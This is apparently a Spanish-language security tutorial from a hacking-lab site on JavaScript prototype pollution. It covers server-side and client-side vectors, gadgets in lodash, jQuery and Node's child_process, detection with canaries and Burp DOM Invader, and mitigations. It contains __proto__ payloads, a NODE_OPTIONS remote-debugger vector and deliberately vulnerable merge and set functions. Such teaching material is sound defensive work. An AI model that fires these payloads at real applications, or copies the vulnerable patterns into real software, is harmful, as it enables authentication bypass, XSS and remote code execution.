Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoGratis

Prototype Pollution — del JSON malicioso a XSS, RCE y bypass de auth

Cómo el atacante contamina Object.prototype y rompe las assumptions del código. Vectores client-side y server-side, gadgets en lodash/jQuery/Angular.

Gorka El Bochi9 de mayo de 202613 min

Respuesta rápida

Prototype Pollution permite al atacante modificar Object.prototype (o Array.prototype, etc) en JavaScript, contaminando TODOS los objetos del runtime. Los gadgets en libraries (lodash merge, jQuery extend) lo facilitan. Consecuencias: XSS client-side via gadgets de UI libraries, RCE server-side (Node.js execSync con argv override), bypass de auth checks que confían en propiedades del objeto.


Cómo funciona

En JavaScript, todos los objetos heredan de Object.prototype. Si haces:

javascript
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin);  // true — heredado de prototype

Si user input llega a obj[key] = value con key === "__proto__":

javascript
const obj = {};
obj["__proto__"]["isAdmin"] = true;  // contamina Object.prototype

Cualquier {} posteriormente creado tendrá isAdmin = true por defecto.


Vector típico — JSON merge

javascript
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Atacante envía
const malicious = JSON.parse('{"__proto__":{"isAdmin":true}}');
merge({}, malicious);

// Ahora cualquier objeto tiene isAdmin=true
console.log({}.isAdmin);  // true

Lodash _.merge y _.set tuvieron CVEs históricos por este patrón. Patched en versions recientes pero apps con lodash viejo o con merge custom siguen vulnerables.


Server-side (Node.js)

Vector 1: Express body-parser + recursive merge

javascript
const _ = require('lodash');
const cfg = require('./config');

app.post('/settings', (req, res) => {
  _.merge(cfg, req.body);  // ⚠️ user input merged a config global
  res.send('ok');
});

// Atacante manda JSON
{ "__proto__": { "polluted": "value" } }

Después de la pollution, cualquier librería en el runtime que tenga code path como:

javascript
function callShell(cmd, args) {
  const opts = { shell: '/bin/bash' };
  if (config.shell) opts.shell = config.shell;
  return execSync(cmd, opts);
}

Si config.shell está sin definir explícitamente y el atacante contamina Object.prototype.shell = "node -e 'require(\"child_process\").execSync(...)' ", RCE.

Vector 2: argv override en child_process

Caso real (CVE-2019-7609 Kibana):

javascript
// Atacante contamina Object.prototype.NODE_OPTIONS
{ "__proto__": { "NODE_OPTIONS": "--inspect-brk=0.0.0.0:9229" } }

Cuando algún módulo invoca child_process.spawn('node', ['some.js']), Node.js lee NODE_OPTIONS del environment. Si la lib pasa env como objeto y el merge contaminó __proto__.NODE_OPTIONS, el child node abre debugger remoto → conexión + RCE via debugger.

Vector 3: Rendering engine (Pug/Handlebars)

Algunos templates usan Object.assign(defaults, userOptions). Si defaults no se crea con Object.create(null), contamina globals:

javascript
const opts = Object.assign({}, userOpts);  // userOpts puede tener __proto__
opts[malicious_key]  // accede al prototype contaminado

Client-side prototype pollution (CSPP)

Vector: query string o hash que el frontend parsea con un parser vulnerable:

javascript
// jQuery extend (vulnerable < 3.4.0)
$.extend(true, options, parsed_hash);

// URL: https://target.tld/#/?__proto__[isAdmin]=true
// Tras parsear, Object.prototype.isAdmin = true

Gadgets en client-side:

  • AdSense / Analytics que comprueba propiedades del documento.
  • UI library que tiene if (config.template) document.write(config.template).
  • Form builder que renderiza inputs según field.html.

Una vez contaminada Object.prototype.html, cualquier field.html (donde field = {}) vale el atacante. Si la lib hace innerHTML = field.html, XSS persistente en client.


Detección

Burp DOM Invader (CSPP scanner)

Built-in en Burp Pro. Inyecta payloads en location.hash, location.search, body. Detecta gadgets que usan los valores contaminados.

Manual

javascript
// Inyectar y ver si Object.prototype cambia
location.hash = '#/?__proto__[test]=polluted';
// Después de la lib parsearlo:
console.log(({}).test);  // si "polluted", contamina globals

Server-side detection

POST a endpoints JSON con {"__proto__": {"canary_polluted": "yes"}}. Hacer un GET subsecuente y ver si la app responde con el canary en alguna parte (objeto serializado, error message, etc).


Lista de gadgets útiles

En libraries

  • lodash _.merge, _.set, _.defaultsDeep (pre-4.17.12 vuln).
  • jQuery $.extend(true, ...) (pre-3.4.0).
  • express req.body con qs extended deep (pre-1.13).
  • mongoose schema merge.
  • mootools clase init.

Patrones de código vulnerable

javascript
// 1. Recursive merge sin filter de __proto__
function deepMerge(t, s) {
  for (const k in s) {
    if (typeof s[k] === 'object') deepMerge(t[k] || (t[k] = {}), s[k]);
    else t[k] = s[k];
  }
}

// 2. Path-based set
function set(obj, path, value) {
  const keys = path.split('.');
  let curr = obj;
  for (let i = 0; i < keys.length - 1; i++) {
    if (!curr[keys[i]]) curr[keys[i]] = {};
    curr = curr[keys[i]];
  }
  curr[keys[keys.length - 1]] = value;
}

// 3. Object.assign to globals (raro pero existe)
Object.assign(Object.prototype, userInput);  // ⚠️ doble vulnerabilidad

Mitigación correcta

  1. Object.create(null) para objetos que reciben user input. No tienen prototype, __proto__ no contamina nada.
  2. Filtrar __proto__, constructor.prototype, prototype en merge functions.
  3. Object.freeze(Object.prototype) en boot del proceso. Cualquier intento de pollution falla.
  4. JSON.parse reviver que rechaza keys peligrosas.
  5. TypeScript con tipos estrictos evita muchos casos por design.
  6. Lodash 4.17.12+, jQuery 3.4.0+, etc.

Hunting checklist

  • ¿La app usa lodash, jQuery, mootools, o frameworks viejos?
  • ¿Hay endpoints que aceptan JSON deeply merged a state?
  • ¿El frontend parsea location.hash o location.search con jQuery extend?
  • ¿Probar {"__proto__":{"canary":"polluted"}} y verificar si propaga?
  • ¿Burp DOM Invader detecta gadgets?
  • ¿Tras pollution, hay paths de código que usan propiedades sin verificar (config.shell, options.html)?

Labs relacionados

Practica prototype pollution client + server side y gadget chains hacia XSS/RCE: labs de Prototype Pollution.

Practica esto en un lab

Prototype Pollution

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados